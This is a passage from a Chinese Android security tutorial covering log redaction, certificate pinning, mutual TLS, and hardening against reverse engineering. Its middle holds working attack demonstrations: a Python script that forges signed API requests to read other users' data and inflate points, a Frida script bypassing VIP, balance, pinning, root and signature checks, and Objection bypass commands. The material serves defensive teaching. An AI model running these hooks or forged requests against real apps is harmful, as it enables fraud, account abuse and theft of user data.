            Pattern.compile("(?i)(password|passwd|pwd)[\"'\\s:=]+([^&\\s\"',}]+)"),
            Pattern.compile("(?i)(token|access_token|refresh_token)[\"'\\s:=]+([^&\\s\"',}]+)"),
            Pattern.compile("(?i)(idcard|id_card)[\"'\\s:=]+([0-9Xx]{15,18})"),
            Pattern.compile("(?i)(phone|mobile)[\"'\\s:=]+(1[3-9]\\d{9})"),
            Pattern.compile("(?i)(bankcard|bank_card)[\"'\\s:=]+(\\d{16,19})"),
            Pattern.compile("\\b([A-Za-z0-9_-]{20,}\\.[A-Za-z0-9_-]{20,}\\.[A-Za-z0-9_-]+)"),  // JWT
            Pattern.compile("\\b(sk_live_[A-Za-z0-9]+|AKIA[0-9A-Z]{16})"),                      // API Key
    };

    public static void d(String tag, String msg) {
        if (DEBUG) {
            Log.d(tag, sanitize(msg));
        }
        // ★ Release 版本什么都不做(而且因为 DEBUG 是编译期常量,
        //   R8/ProGuard 会把这些代码【整个删掉】,不留痕迹)
    }

    public static void i(String tag, String msg) {
        if (DEBUG) Log.i(tag, sanitize(msg));
    }

    public static void w(String tag, String msg) {
        Log.w(tag, sanitize(msg));      // WARN 生产保留,但要脱敏
    }

    public static void e(String tag, String msg, Throwable t) {
        // ★ 错误日志生产保留,但:
        //   ① 脱敏
        //   ② 不打印完整堆栈(可能泄露内部结构)
        Log.e(tag, sanitize(msg));
        if (DEBUG && t != null) {
            Log.e(tag, Log.getStackTraceString(t));
        } else if (t != null) {
            Log.e(tag, "异常类型: " + t.getClass().getSimpleName());
        }
    }

    /**
     * ★ 敏感信息脱敏
     */
    private static String sanitize(String msg) {
        if (msg == null) return "";
        String result = msg;

        for (Pattern p : SENSITIVE_PATTERNS) {
            Matcher m = p.matcher(result);
            StringBuffer sb = new StringBuffer();
            while (m.find()) {
                // 保留 key,把 value 替换成 ***
                String key = m.group(1);
                m.appendReplacement(sb, key + "=***");
            }
            m.appendTail(sb);
            result = sb.toString();
        }

        return result;
    }
}
// ✅ build.gradle:Release 版本用 R8 移除所有日志调用(★ 双保险)
android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
                          'proguard-rules.pro'

            // ★ 配合这个 ProGuard 规则,所有 Log.d/v 调用会被【整个移除】
        }
    }
}
# proguard-rules.pro
# ★ 移除所有 Log 调用(Release 版本)
-assumenosideeffects class android.util.Log {
    public static boolean isLoggable(java.lang.String, int);
    public static int v(...);
    public static int d(...);
    public static int i(...);
    public static int w(...);
    # ★ 注意:保留 e(),因为要上报错误
}

# ★ 移除调试相关的类
-assumenosideeffects class android.util.Debug {
    public static *** *(...);
}

4.3.4 漏洞 3:传输安全 —— 中间人抓包与证书绑定

先理解攻击:

# ===== 攻击者(或者就是好奇的开发者)抓 App 的包 =====
# ① 手机上安装 Charles / Burp / mitmproxy 的根证书
#    (Android 7+ 需要装到系统证书区,或者 App 显式信任用户证书)
# ② 手机 Wi-Fi 代理指向电脑
# ③ 打开 App,所有 HTTPS 流量都能明文看到

# ★ 关键问题:Android 7.0(API 24)之前,App 【默认信任用户安装的证书】
#   所以只要骗用户装个证书(比如"为了上网需要安装证书"),流量就被监听了

漏洞配置:

<!-- ❌ 危险:没有网络安全配置,Android 7 以下默认信任用户证书 -->
<manifest>
    <application>
        <!-- 什么都没配 -->
    </application>
</manifest>
<!-- ❌ 更危险:显式信任用户证书 -->
<!-- res/xml/network_security_config.xml -->
<network-security-config>
    <base-config cleartextTrafficPermitted="true">    <!-- ❌ 还允许明文 HTTP -->
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />                <!-- ❌❌ 信任用户安装的证书 -->
        </trust-anchors>
    </base-config>
</network-security-config>

✅ 修复 1:网络安全配置(★ 必做)

<!-- AndroidManifest.xml -->
<manifest>
    <application
        android:networkSecurityConfig="@xml/network_security_config"
        android:usesCleartextTraffic="false">      <!-- ★ 禁止明文 HTTP -->
    </application>
</manifest>
<!-- res/xml/network_security_config.xml —— ★ 生产环境推荐配置 -->
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>

    <!-- ① 全局配置:只信任系统证书,禁止明文 -->
    <base-config cleartextTrafficPermitted="false">
        <trust-anchors>
            <certificates src="system" />      <!-- ★ 只信任系统预装证书,不信任用户装的 -->
        </trust-anchors>
    </base-config>

    <!-- ② ★ 证书绑定(Certificate Pinning)—— 核心防护 -->
    <domain-config cleartextTrafficPermitted="false">
        <domain includeSubdomains="true">api.example.com</domain>

        <!-- ★ 绑定证书的【公钥哈希】(SPKI),不是证书本身 -->
        <!--   好处:证书续期(换证书但密钥不变)时不用改 App -->
        <pin-set expiration="2027-01-01">
            <!-- ★ 主证书 -->
            <pin digest="SHA-256">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pin>
            <!-- ★★ 备份证书(★ 必须配!否则证书一换,老版本 App 全变砖)-->
            <pin digest="SHA-256">BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=</pin>
        </pin-set>

        <trust-anchors>
            <certificates src="system" />
        </trust-anchors>
    </domain-config>

    <!-- ③ ★ 调试配置(只在 debug 生效,方便抓包调试)-->
    <debug-overrides>
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />       <!-- ★ 只在 debuggable 时信任用户证书 -->
        </trust-anchors>
    </debug-overrides>

</network-security-config>

怎么算 pin 的哈希值:

# 从证书文件算 SPKI 哈希
openssl x509 -in api.example.com.pem -pubkey -noout | \
  openssl pkey -pubin -outform der | \
  openssl dgst -sha256 -binary | \
  openssl enc -base64

# 直接从线上域名拿(推荐,拿到的是当前真实证书)
openssl s_client -servername api.example.com -connect api.example.com:443 \
  </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout | \
  openssl pkey -pubin -outform der | \
  openssl dgst -sha256 -binary | \
  openssl enc -base64

✅ 修复 2:OkHttp 代码层证书绑定(★ 更灵活,支持动态更新)

/**
 * ✅✅✅ OkHttp 证书绑定(CertificatePinner)
 *
 * ★ 和 XML 配置的区别:
 *   XML:简单,但改 pin 要发版
 *   代码:可以动态更新 pin 列表(从服务端下发),更灵活
 *   ★ 推荐两个都做(纵深防御)
 */
@Singleton
public class SecureHttpClient {

    private final OkHttpClient client;

    public SecureHttpClient() {
        // ===== ① 证书绑定 =====
        CertificatePinner pinner = new CertificatePinner.Builder()
                // ★ 格式:域名 + "sha256/" + base64(SPKI哈希)
                .add("api.example.com",
                     "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")   // 主证书
                .add("api.example.com",
                     "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")   // ★ 备份证书(必须有!)
                .add("pay.example.com",
                     "sha256/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC=")
                .build();

        // ===== ② TLS 版本与密码套件限制 =====
        ConnectionSpec spec = new ConnectionSpec.Builder(ConnectionSpec.MODERN_TLS)
                .tlsVersions(TlsVersion.TLS_1_3, TlsVersion.TLS_1_2)      // ★ 禁用 1.0/1.1
                .cipherSuites(
                        CipherSuite.TLS_AES_128_GCM_SHA256,
                        CipherSuite.TLS_AES_256_GCM_SHA384,
                        CipherSuite.TLS_CHACHA20_POLY1305_SHA256,
                        CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
                        CipherSuite.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
                .build();

        // ===== ③ 构建 Client =====
        client = new OkHttpClient.Builder()
                .certificatePinner(pinner)
                .connectionSpecs(Collections.singletonList(spec))
                // ★ 禁止重定向(或手动控制,防 SSRF / 开放重定向)
                .followRedirects(false)
                .followSslRedirects(false)
                // ★ 超时
                .connectTimeout(15, TimeUnit.SECONDS)
                .readTimeout(20, TimeUnit.SECONDS)
                .writeTimeout(20, TimeUnit.SECONDS)
                // ★ 拦截器:加签名头、加设备指纹、记录审计日志
                .addInterceptor(new SigningInterceptor())
                .addInterceptor(new DeviceFingerprintInterceptor())
                // ★ 只在 debug 加日志拦截器(★ 生产绝不能加!会打印全部请求内容)
                // .addInterceptor(new HttpLoggingInterceptor().setLevel(BODY))
                .build();
    }

    public OkHttpClient get() {
        return client;
    }
}

✅ 修复 3:双向 TLS(App 端带客户端证书) —— ★ 金融级

/**
 * ✅ 双向 TLS:不仅 App 验证服务端,服务端也验证 App
 *
 * ★ 解决的问题:
 *   证书绑定只是"防止中间人",但攻击者可以:
 *     ① 反编译拿到接口(不看流量也行)
 *     ② 用 Frida Hook 掉证书校验
 *     ③ 直接用 curl 调接口
 *   双向 TLS 能挡住 ③ —— 因为 curl 没有客户端证书
 *
 * ⚠️ 注意:
 *   双向 TLS 挡不住 ①②(攻击者拿到了 App 本身,证书也在 App 里)
 *   所以它是【提高门槛】,不是根治方案
 *   ★ 根治:接口签名(见 4.7 节)+ 设备指纹 + 风控
 */
public class MutualTlsClient {

    public OkHttpClient create(Context ctx) {
        try {
            // ① 从 Keystore 里取客户端证书(★ 不要放在 assets 里,会被反编译出来)
            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
            keyStore.load(null);
            KeyStore.PrivateKeyEntry entry = (KeyStore.PrivateKeyEntry)
                    keyStore.getEntry("client_cert_alias", null);

            // ② 服务端 CA(验证服务端)
            X509TrustManager trustManager = createTrustManager(ctx);

            // ③ 构建 SSLContext
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(
                    new KeyManager[] { createKeyManager(entry) },
                    new TrustManager[] { trustManager },
                    new SecureRandom());

            return new OkHttpClient.Builder()
                    .sslSocketFactory(sslContext.getSocketFactory(),
                                      (X509TrustManager) trustManager)
                    .build();

        } catch (Exception e) {
            throw new RuntimeException("初始化双向 TLS 失败", e);
        }
    }
}

4.3.5 Android 存储与传输 Checklist

# 检查项 优先级
1 android:allowBackup="false"(★ 否则 adb backup 一键导出) ★★★
2 android:debuggable="false"(生产) ★★★
3 usesCleartextTraffic="false"(禁明文 HTTP) ★★★
4 networkSecurityConfig 配置:只信任 system 证书 ★★★
5 证书绑定(XML + OkHttp 双保险),必须有备份 pin ★★★
6 敏感数据用 EncryptedSharedPreferences,不存明文 SP ★★★
7 密钥/证书用 Android Keystore(不要硬编码、不要放 assets) ★★★
8 绝不存密码明文(连加密都不存,用完即弃) ★★★
9 日志:生产关闭 DEBUG,且敏感字段脱敏 ★★★
10 Release 用 R8 移除所有 Log.d/v/i 调用 ★★
11 敏感数据库用 SQLCipher 加密 ★★
12 禁止敏感数据存外部存储(SD 卡) ★★
13 截图防护:敏感页面 FLAG_SECURE(防截屏/录屏) ★
14 剪贴板:敏感信息禁止复制,用完清空 ★

4.4 Android 逆向、Hook 与加固对抗

4.4.1 攻击者能做什么(先建立认知)

拿到一个 APK 之后,攻击者可以:

① 【静态分析】(不需要运行 App)
   - apktool 反编译出 smali 代码、AndroidManifest、资源文件
   - jadx / JADX-GUI 把 dex 反编译成【近乎原始的 Java 代码】
   - strings 提取所有字符串(★ URL、API Key、密钥一眼看到)
   - 查看 assets/res 里的配置文件

② 【动态分析】(运行 App,边跑边看)
   - Frida:Hook 任意 Java / Native 函数,改参数、改返回值
   - Xposed:系统级 Hook,改系统 API 的行为
   - 动态调试(IDA / GDB):下断点,单步执行
   - 内存 dump:把内存里的密钥、Token 导出来

③ 【篡改重打包】
   - 改代码(比如把"VIP 校验"改成恒返回 true)
   - 重新签名 → 安装 → 一个"破解版"诞生
   - ★ 如果服务端不做校验,破解版能正常使用

④ 【协议分析】
   - 抓包(装证书 / Hook SSL 校验 / 用 VPN 转发)
   - 拿到接口和参数 → 用 curl / Python 直接调

⑤ 【自动化】
   - 改内存(GameGuardian / 烧饼修改器):改余额、改分数
   - 多开 / 模拟器:批量注册、薅羊毛
   - 自动化脚本:批量刷接口

生活类比(★ 记住这个):

你的 App 就像一个被寄到客户家的保险箱。 静态分析 = 客户拿 X 光扫描,看清楚里面结构; 动态分析 = 客户接上探针,看你怎么开; 篡改重打包 = 客户把锁拆了换个假的; 抓包 = 客户窃听你和总部的通信。

★ 所以:保险箱里不能放金库钥匙,保险箱的锁不能是唯一防线。

4.4.2 常用逆向工具(★ 面试要知道名字和用途)

工具 作用 典型命令
apktool 反编译资源 + smali,可回编译 apktool d app.apk -o out
jadx dex → Java 源码(最接近原始代码) jadx-gui app.apk
dex2jar + JD-GUI dex → jar → Java(老牌方案) d2j-dex2jar app.apk
Frida ★ 动态 Hook 神器(JS 写脚本) frida -U -f com.x.app -l hook.js
Xposed / LSPosed 系统级 Hook(需要 Root) 写模块,重启生效
Objection Frida 的封装,开箱即用 objection -g com.x.app explore
Burp Suite 抓包改包(移动端主要工具) 配合代理 + 证书
Charles 抓包(图形化,易用) 手机配代理
Postern / ProxyDroid ★ VPN 模式抓包(绕过 App 的代理检测) 手机装 VPN App
MobSF ★ 自动化移动安全扫描(一站式) docker run opensecurity/mobile-security-framework
keytool / apksigner 查看签名、重新签名 keytool -printcert -jarfile app.apk

4.4.3 攻击演示 1:静态分析拿到硬编码密钥

# ===== ① 解压 APK =====
unzip -o app-release.apk -d /tmp/apk

# ===== ② 提取所有字符串,找密钥(★ 最快的方法,30 秒出结果)=====
strings /tmp/apk/classes.dex | grep -iE "key|secret|token|password|api"
# 输出可能是:
#   https://api.example.com/v1/
#   sk_live_51H8xYz...
#   AES_SECRET_KEY_2024
#   -----BEGIN RSA PRIVATE KEY-----
#   app_debug_key

# ===== ③ 用 jadx 看 Java 代码 =====
jadx-gui app-release.apk
# 搜索关键词:
#   "AES"          → 找到加解密代码和密钥
#   "http"         → 找到所有接口地址
#   "sign"         → ★ 找到接口签名算法(★ 最致命,签名算法被知道了就能伪造请求)
#   "SharedPreferences"  → 找到存储位置和内容
#   "Log.d"        → 看看有没有敏感信息被打印

# ===== ④ 查看 AndroidManifest =====
apktool d app-release.apk -o /tmp/apk_out
cat /tmp/apk_out/AndroidManifest.xml | grep -E "exported|debuggable|allowBackup|scheme"

# ===== ⑤ 查看资源文件里的配置 =====
cat /tmp/apk_out/res/values/strings.xml
# 经常能找到:
#   <string name="api_key">AIzaSyD-xxxxx</string>       ← Google API Key
#   <string name="aws_key">AKIAxxxxx</string>            ← AWS Key
#   <string name="base_url">https://api.example.com</string>

★ 真实案例:签名算法被逆向 = 接口完全失守

// ❌ 反编译出来的签名算法(攻击者看到的就是这个)
public class ApiSigner {
    private static final String SECRET = "my_secret_key_2024";   // ★ 硬编码,直接暴露

    public static String sign(Map<String, String> params) {
        // ① 参数排序
        List<String> keys = new ArrayList<>(params.keySet());
        Collections.sort(keys);

        // ② 拼接 key=value&
        StringBuilder sb = new StringBuilder();
        for (String k : keys) {
            sb.append(k).append("=").append(params.get(k)).append("&");
        }
        sb.append("key=").append(SECRET);          // ★ 密钥在这里

        // ③ MD5
        return md5(sb.toString()).toUpperCase();
    }
}

攻击者拿到之后:

#!/usr/bin/env python3
# attack.py —— 用逆向出来的算法伪造任意请求
import hashlib, requests, time

SECRET = "my_secret_key_2024"      # ★ 从 APK 里扒出来的

def sign(params: dict) -> str:
    sb = ""
    for k in sorted(params.keys()):
        sb += f"{k}={params[k]}&"
    sb += f"key={SECRET}"
    return hashlib.md5(sb.encode()).hexdigest().upper()

def call(path, params):
    params["timestamp"] = str(int(time.time()))
    params["sign"] = sign(params)        # ★ 签名正确,服务端认
    return requests.post(f"https://api.example.com{path}", json=params)

# ★ 攻击者可以做任何事:
print(call("/v1/user/query", {"user_id": "1"}))        # 查别人信息(BOLA)
print(call("/v1/order/list", {"user_id": "1"}))        # 拖别人的订单
print(call("/v1/points/add",  {"user_id": "1", "amount": "999999"}))   # 给自己加积分

★ 这个例子说明了什么(面试核心):

  1. 客户端的签名算法 = 公开的。无论你怎么混淆,SECRET 一定在 App 里,一定能被扒出来。
  2. 所以客户端签名的真正作用不是“防伪造”,而是“提高门槛 + 防重放 + 防脚本小子”。
  3. 真正的安全必须在服务端:BOLA 校验、业务规则校验、风控、限流。
  4. 更好的做法是签名密钥动态下发(登录后由服务端下发一个 session key,且绑定设备), 这样至少攻击者不能直接从 APK 里拿到一个“永久有效的签名密钥”。

4.4.4 攻击演示 2:Frida Hook(改内存 / 绕过校验 / 拿到明文)

// hook_vip.js —— Frida 脚本:绕过 VIP 校验
// 用法:frida -U -f com.example.app -l hook_vip.js --no-pause

Java.perform(function () {

    // ===== ① Hook VIP 校验方法,让它永远返回 true =====
    var UserManager = Java.use("com.example.app.manager.UserManager");
    UserManager.isVip.implementation = function () {
        console.log("[*] isVip() 被调用,原返回值: " + this.isVip());
        return true;            // ★ 强制返回 true
    };

    // ===== ② Hook 余额校验 =====
    var AccountService = Java.use("com.example.app.service.AccountService");
    AccountService.getBalance.implementation = function () {
        var real = this.getBalance();
        console.log("[*] 真实余额: " + real);
        return 99999999;        // ★ 改余额
    };

    // ===== ③ Hook 加密函数,拿到加解密前/后的明文(★ 最常用)=====
    var CryptoUtil = Java.use("com.example.app.util.CryptoUtil");
    CryptoUtil.encrypt.implementation = function (plaintext, key) {
        console.log("[+] encrypt 明文: " + plaintext);
        console.log("[+] encrypt 密钥: " + key);        // ★ 密钥也拿到了
        var result = this.encrypt(plaintext, key);
        console.log("[+] encrypt 密文: " + result);
        return result;
    };

    CryptoUtil.decrypt.implementation = function (ciphertext, key) {
        var result = this.decrypt(ciphertext, key);
        console.log("[+] decrypt 明文: " + result);      // ★ 服务端返回的内容全看到了
        return result;
    };

    // ===== ④ Hook OkHttp,抓所有请求(绕过证书绑定)=====
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    // 更简单的方式:Hook CertificatePinner 让它不校验
    var CertificatePinner = Java.use("okhttp3.CertificatePinner");
    CertificatePinner.check.overload('java.lang.String', 'java.util.List')
        .implementation = function (hostname, peerCertificates) {
            console.log("[+] 绕过证书绑定: " + hostname);
            return;             // ★ 直接返回,不做校验
        };

    // ===== ⑤ Hook 签名函数,看签名参数 =====
    var ApiSigner = Java.use("com.example.app.util.ApiSigner");
    ApiSigner.sign.implementation = function (params) {
        console.log("[+] 签名参数: " + params.toString());
        var sig = this.sign(params);
        console.log("[+] 签名结果: " + sig);
        return sig;
    };

    // ===== ⑥ Hook SSLContext,让它信任所有证书(万能抓包绕过)=====
    var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'
    ).implementation = function (km, tm, sr) {
        console.log("[+] SSLContext.init 被调用,替换为信任全部");
        // 用自定义的 TrustManager 替换(什么都不校验)
        var TrustAllManager = Java.registerClass({
            name: 'com.frida.TrustAllManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function (chain, authType) {},
                checkServerTrusted: function (chain, authType) {},
                getAcceptedIssuers: function () { return []; }
            }
        });
        var trustAll = TrustAllManager.$new();
        return this.init(km, [trustAll], sr);
    };

    // ===== ⑦ 绕过 Root 检测 =====
    var RootChecker = Java.use("com.example.app.security.RootChecker");
    RootChecker.isDeviceRooted.implementation = function () {
        console.log("[+] 绕过 Root 检测");
        return false;
    };

    // ===== ⑧ 绕过签名校验(重打包后能正常运行)=====
    var SignatureChecker = Java.use("com.example.app.security.SignatureChecker");
    SignatureChecker.verify.implementation = function () {
        console.log("[+] 绕过签名校验");
        return true;
    };

    // ===== ⑨ 批量 Hook:枚举某个类的所有方法 =====
    var TargetClass = Java.use("com.example.app.service.PaymentService");
    var methods = TargetClass.class.getDeclaredMethods();
    methods.forEach(function (m) {
        console.log("[*] 发现方法: " + m.getName());
    });
});
# ===== 实战命令 =====

# ① 查看连接的设备
frida-ls-devices

# ② 列出手机上所有 App 包名
frida-ps -Ua

# ③ 注入脚本
frida -U -f com.example.app -l hook_vip.js --no-pause

# ④ 用 Objection(Frida 的封装,开箱即用,★ 推荐新手)
objection -g com.example.app explore

#   进入交互界面后:
#   android hooking list classes                      列出所有类
#   android hooking search classes com.example.app     搜索类
#   android hooking watch class com.example.app.service.PaymentService
#   android hooking watch class_method com.example.app.util.CryptoUtil.encrypt --dump-args --dump-return
#   android sslpinning disable                        ★ 一键绕过证书绑定
#   android root disable                              ★ 一键绕过 Root 检测
#   memory dump all /sdcard/dump.dmp                  dump 内存

4.4.5 ✅ 防御:七层加固方案

✅ 防御 1:代码混淆(ProGuard / R8)—— 基础,必须有

// build.gradle
android {
    buildTypes {
        release {
            minifyEnabled true          // ★ 开启混淆
            shrinkResources true        // 移除无用资源
            proguardFiles getDefaultProguardFile(
                    'proguard-android-optimize.txt'), 'proguard-rules.pro'
        }
    }
}
# proguard-rules.pro

# ===== ① 保留必要的(四大组件、序列化、JNI、反射用到的)=====
-keep public class * extends android.app.Activity
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
-keep public class * extends android.app.Application
-keep public class * extends androidx.fragment.app.Fragment

# ★ 注意:保留四大组件意味着【类名不混淆】,但方法名、字段名会混淆

# ===== ② Gson / Retrofit 的 Model 类要保留(因为用反射)=====
-keepclassmembers class com.example.app.model.** { *; }
-keep class com.example.app.model.** { *; }

# ===== ③ ★ 移除所有日志(★ 重要)=====
-assumenosideeffects class android.util.Log {
    public static *** d(...);
    public static *** v(...);
    public static *** i(...);
}

# ===== ④ 混淆字典:用难以阅读的字符做类名(加大逆向难度)=====
-obfuscationdictionary obfuscation-dictionary.txt
-classobfuscationdictionary obfuscation-dictionary.txt
-packageobfuscationdictionary obfuscation-dictionary.txt

# ===== ⑤ ★ 字符串加密(需要商业加固工具,ProGuard 本身不支持)=====
#   ProGuard 只能混淆类名/方法名/字段名,【不能加密字符串】
#   所以 strings 命令还是能看到所有 URL 和密钥
#   ★ 这就是为什么需要商业加固(梆梆、360、腾讯乐固、爱加密)

# ===== ⑥ 移除调试信息 =====
-keepattributes SourceFile,LineNumberTable   # ← 生产应该【删掉这行】
# ★ 删掉后崩溃日志没有行号,但加大了逆向难度

⚠️ 混淆的局限性(面试必答):

ProGuard/R8 能做的:
  ✅ 类名、方法名、字段名变成 a.b.c
  ✅ 移除无用代码和资源
  ✅ 优化字节码

ProGuard/R8 【做不到】的:
  ❌ 加密字符串(strings 命令照样能看到密钥和 URL)  ★ 最大短板
  ❌ 防止 Frida Hook(Hook 是按方法名找的,混淆后照样能找)
  ❌ 防止动态调试
  ❌ 防止重打包(改完代码重新签名照样能装)

★ 所以混淆只是"入门级防护",让逆向从"30 分钟"变成"3 小时"。
  真正的加固需要:字符串加密 + 反调试 + 反 Hook + 完整性校验 + 加壳
  (商业加固方案,或者自研 Native 层防护)

✅ 防御 2:密钥不硬编码(★ 最重要)

/**
 * ❌❌❌ 错误做法(无论怎么混淆,strings 都能看到)
 */
public class BadKeyStore {
    private static final String AES_KEY = "my_secret_key_2024";         // ❌
    private static final String API_KEY = "sk_live_51H8xYz...";         // ❌
    private static final String[] PI = {"3.14159..."};                  // ❌ 伪装成常量也没用
}

/**
 * ✅✅✅ 正确做法 1:密钥由服务端动态下发(★ 推荐)
 *
 * 流程:
 *   ① App 启动时(或登录后)调 /api/v1/get-session-key
 *   ② 服务端返回一个【随机生成的、绑定设备的、有过期时间】的 key
 *   ③ App 用这个 key 做签名(不是做加密!)
 *   ④ key 定期轮换(比如 2 小时)
 *
 * 好处:
 *   ✓ APK 里没有密钥 → strings 扒不到
 *   ✓ 每个设备/用户的 key 不同 → 一个泄露不影响全局
 *   ✓ 有过期时间 → 泄露影响可控
 *   ✓ 服务端可以主动吊销某个设备的 key
 */
public class SessionKeyManager {

    private static volatile SessionKey cachedKey;

    public static synchronized String getSignKey(Context ctx) throws Exception {
        // ① 缓存里有且没过期 → 直接返回
        if (cachedKey != null && !cachedKey.isExpired()) {
            return cachedKey.getKey();
        }

        // ② 向服务端申请
        String deviceId = DeviceFingerprint.getDeviceId(ctx);
        String token = SecureStorageManager.getToken(ctx);

        KeyResponse resp = api.getSessionKey(deviceId, token);

        // ③ 用 Keystore 加密后存本地(★ 不存明文)
        cachedKey = new SessionKey(
                resp.getKey(),
                resp.getExpiresAt(),
                resp.getKeyId());

        // ④ 存到 EncryptedSharedPreferences
        saveKeyEncrypted(ctx, cachedKey);

        return cachedKey.getKey();
    }

    /**
     * ★ 服务端侧的实现要点(Java)
     *   - key 用 SecureRandom 生成 32 字节
     *   - key 与 (userId, deviceId) 绑定,换设备就失效
     *   - key 存 Redis,TTL 2 小时
     *   - 签名校验时:用 (userId, deviceId) 查出 key,再算签名比对
     *   - ★ 发现异常(同一个 key 在不同 IP 用)→ 立即吊销
     */
    public record SessionKey(String key, long expiresAt, String keyId) {
        public boolean isExpired() {
            return System.currentTimeMillis() > expiresAt - 60_000;   // 提前 1 分钟过期
        }
    }
}

/**
 * ✅✅✅ 正确做法 2:加解密密钥用 Android Keystore 生成(★ 密钥根本不在 App 里)
 *
 * ★ 这是最优解:
 *   - 密钥由 Keystore 在【硬件/TEE 里】生成
 *   - App 只能说"请用这个 key 加密这段数据",拿不到 key 本身
 *   - 反编译、Hook、dump 内存都拿不到
 */
public class HardwareBackedCrypto {
    // 见 4.3.3 节的 KeystoreManager,那个就是正确做法
    // ★ 核心:KeyGenerator.getInstance(KEY_ALGORITHM_AES, "AndroidKeyStore")
}

/**
 * ✅ 正确做法 3:白盒加密(White-Box Cryptography)
 *
 * 原理:把密钥"融化"进算法里,生成一个巨大的查找表
 *   → 攻击者即便拿到全部二进制,也提取不出密钥
 *   ★ 金融级方案,一般用商业 SDK(如 Arxan、WhiteCryption)
 *
 * 适用场景:必须在客户端做加解密,且密钥必须固定(比如离线数据解密)
 */

✅ 防御 3:完整性校验(防重打包)

/**
 * ✅✅✅ App 完整性校验(防篡改重打包)
 *
 * 三重校验:
 *   ① 签名校验(防重打包 —— 重打包必然换签名)
 *   ② APK 文件哈希校验(防代码被改)
 *   ③ 安装来源校验(防从非官方渠道安装)
 */
public class IntegrityChecker {

    private final Context ctx;

    /** ★ 正确的签名指纹(自己 App 的,★ 不要硬编码明文,要拆分/混淆存储)*/
    private static final String EXPECTED_SIGNATURE = decodeObfuscated();

    /**
     * ① 签名校验(★ 最重要)
     */
    public boolean verifySignature() {
        try {
            PackageInfo pi;
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                pi = ctx.getPackageManager().getPackageInfo(
                        ctx.getPackageName(), PackageManager.GET_SIGNING_CERTIFICATES);
                Signature[] sigs = pi.signingInfo.getApkContentsSigners();
                if (sigs == null || sigs.length == 0) return false;
                return EXPECTED_SIGNATURE.equals(sha256(sigs[0].toByteArray()));

            } else {
                pi = ctx.getPackageManager().getPackageInfo(
                        ctx.getPackageName(), PackageManager.GET_SIGNATURES);
                if (pi.signatures == null || pi.signatures.length == 0) return false;
                return EXPECTED_SIGNATURE.equals(sha256(pi.signatures[0].toByteArray()));
            }
        } catch (Exception e) {
            return false;
        }
    }

    /**
     * ② APK 文件校验和(防代码被改)
     * ⚠️ 局限:重打包后攻击者可以改掉这个校验,所以只是提高门槛
     */
    public boolean verifyApkChecksum() {
        try {
            String apkPath = ctx.getPackageCodePath();
            String actual = sha256OfFile(apkPath);
            // ★ 期望值从服务端拿(不硬编码在客户端)
            String expected = fetchExpectedChecksumFromServer();
            return actual.equals(expected);
        } catch (Exception e) {
            return false;
        }
    }

    /**
     * ③ 安装来源校验(防从第三方市场装的破解版)
     */
    public boolean verifyInstallSource() {
        try {
            String installer = ctx.getPackageManager()
                    .getInstallerPackageName(ctx.getPackageName());

            Set<String> ALLOWED = Set.of(
                    "com.android.vending",        // Google Play
                    "com.huawei.appmarket",       // 华为
                    "com.xiaomi.market",          // 小米
                    "com.tencent.android.qqdownloader",  // 应用宝
                    "com.oppo.market",
                    "com.vivo.appstore",
                    null                            // ★ null = 通过 adb 或本地安装(开发/测试)
            );
            return ALLOWED.contains(installer);
        } catch (Exception e) {
            return true;    // 取不到就不拦(避免误伤)
        }
    }

    /**
     * ④ 代码完整性自检(Native 层,更难被 Hook)
     * ★ 关键逻辑(校验、加密)应该用 C/C++ 写在 .so 里,
     *   so 的逆向难度 >> Java,而且可以用 O-LLVM 做代码混淆
     */
    static {
        System.loadLibrary("security");
    }
    private static native boolean nativeCheckIntegrity();

    /**
     * ★ 综合校验 + 响应
     */
    public void checkAndRespond() {
        boolean sigOk = verifySignature();
        boolean srcOk = verifyInstallSource();
        boolean nativeOk = nativeCheckIntegrity();

        if (!sigOk || !nativeOk) {
            // ★★ 关键决策:检测到篡改之后怎么办?
            //
            // 方案 A(激进):直接退出 + 上报
            //   缺点:容易被误伤(比如某些渠道包会重签名),且攻击者 Hook 掉这个方法就没用了
            //
            // 方案 B(推荐):上报风控 + 服务端限制
            //   - 本地不"自杀"(避免误伤正常用户,也避免被 Hook 绕过)
            //   - 把"签名异常"作为【风控信号】上报给服务端
            //   - 服务端对这种设备【限制敏感操作】(转账、支付、改密)
            //   ★ 这样即便攻击者 Hook 掉了本地检测,服务端还是能靠其他信号识别
            reportToRiskEngine("APP_TAMPERED", Map.of(
                    "signature_ok", sigOk,
                    "native_ok", nativeOk,
                    "install_source", getInstaller()));

            // 本地做个温和的提示(不强退,避免误伤)
            if (!sigOk) {
                showWarningOnce("检测到应用完整性异常,部分功能可能受限");
            }
        }
    }

    /**
     * ★ 签名指纹不要明文硬编码,拆开存 + 运行时拼接
     */
    private static String decodeObfuscated() {
        // 拆成多段,分散在不同地方(增加静态分析难度)
        String[] parts = {
                BuildConfig.SIG_PART_1,      // 从 BuildConfig 注入
                BuildConfig.SIG_PART_2,
